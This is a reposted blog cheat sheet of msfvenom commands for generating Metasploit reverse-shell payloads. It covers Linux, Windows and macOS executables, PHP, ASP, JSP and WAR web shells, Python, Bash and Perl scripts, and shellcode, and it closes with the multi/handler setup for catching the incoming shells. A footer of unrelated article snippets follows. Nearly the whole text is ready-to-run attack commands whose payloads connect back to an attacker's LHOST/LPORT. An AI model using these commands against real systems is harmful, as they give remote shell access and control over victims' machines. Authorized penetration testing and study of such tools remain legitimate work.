转自https://www.cnblogs.com/zlgxzswjy/p/6881904.html

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

List payloads

msfvenom -l

Binaries

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

metasploit生成payload的格式的更多相关文章

  1. metasploit framework(四):生成payload

    RHOST是限制来源IP,这里不用修改 generate生成payload 假设'\x00'是坏字符,生成payload时就会对'\x00'进行编码,排除坏字符. -b 去掉坏字符 -t 指定生成的格 ...

  2. 使用Kali中的Metasploit生成木马控制Windows系统 (第九天 9.20)

    本文转自:https://www.cnblogs.com/yankaohaitaiwei/p/11556921.html 一.kali及Metasploit kali基于debin的数字取证系统,上面 ...

  3. Python生成PASCAL VOC格式的xml标注文件

    Python生成PASCAL VOC格式的xml标注文件 PASCAL VOC数据集的标注文件是xml格式的.对于py-faster-rcnn,通常以下示例的字段是合适的: <annotatio ...

  4. kali linux之Msf-exploit模块,生成payload

    Exploit模块 Active exploit(主动地向目标机器发送payload并执行,使目标交出shell(反连等)) msf5 > use exploit/windows/smb/pse ...

  5. 转:PHP 生成复杂JSON格式 简单快速方法

    PHP 生成JSON 格式主要使用json_encode()函数.这个函数的输入参数支持PHP数组和对象类型. 查阅网上的例子通常都是使用数组的,也有个别使用对象生成.但实际项目中,我们要生成的JSO ...

  6. msfvenom生成payload命令

    msfvenom生成payload命令 windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp L ...

  7. 通过Metasploit生成各种后门

    生成windows后门 1.首先生成后门 [root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ ...

  8. Kali之Metasploit生成apk后门控制安卓

    扫盲教程,大佬勿喷. 实验中请更改为你环境的IP. 生成apk后门 Kali Linux(Hack):192.168.169.76 Android(靶机):192.168.169.137 启动kali ...

  9. Kali环境使用Metasploit生成木马入侵安卓手机

    Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计, ...

随机推荐

  1. django restfulwork 源码剖析

    概要: 1.restful 规范(建议); 2. django rest framework框架 内容回顾: 1.开发模式; - 普通开发模式(前后端放在一起写) - 前后端分离 好处: 后端一套,前 ...

  2. css预处理器:Sass LASS Stylus

    语法 Sass h1 { color: #0982C1; } h1 color: #0982c1 LESS h1 { color: #0982C1; } Stylus /* style.styl */ ...

  3. 消息中间件 rabbitMQ

    参考内容:https://www.cnblogs.com/dwlsxj/p/RabbitMQ.html 一.什么是RabbitMQ RabbitMQ是一个由erlang 开发的AMQP(Advance ...

  4. mysql,查询时间戳

    1.查询当前时间1天前的时间点   select date_sub(now() ,interval 1 day)   2.查询当前时间的时间1天之后的时间点   select data_sub(now ...

  5. 元组拆包 与 python拆包

    一.元组拆包(元组解包.迭代解包) 元组拆包可以应用到任何可迭代对象上(任何迭代对象),被可迭代对象中的元素数量必须要跟接受这些元素的元组的空档数一致.也可以使用用 * 来表示忽略多余的元素. 一般的 ...

  6. python-django(框架结构)

    项目架构: 最外层myshop目录:项目的容器,没有实质性的作用 .idea:项目的配置信息.这个文件夹是自动生成,版本控制信息等,包括历史记录.无用 manage.py:(管理项目)一个实用的命令行 ...

  7. project5 大数据

    [概念] build和run不是一样的,要看输出,不要误解. [方法论] 先要搞懂每个方法的使用,不能乱写.文件名不要写成字符串内容. 又忘记用lab code了,该死. programcreek是个 ...

  8. linux上遇到tomcat报Out of Memory错误,导致jenkins崩溃的问题

    今天遇到一个问题,就是JENKINS在同时部署两个前端应用时会出现崩溃的现象. 排查过程如下 查看tomcat-jenkins/bin/hs_err_pid27127.log发现: Out of Me ...

  9. TFS 删除版本控制

    该文章引用至: https://www.cnblogs.com/yanjiez/p/10184845.html 1. 删除所有版本控制文件 *.vssscc  , *.vspscc 2. 修改解决方案 ...

  10. 监控服务器配置(一)-----Prometheus安装配置

    最近和朋友一起做的监控配置,拿出来共享一下 1.下载prometheus安装包(linux版)到 /opt/minitor/prometheus . 下载地址:https://download.csd ...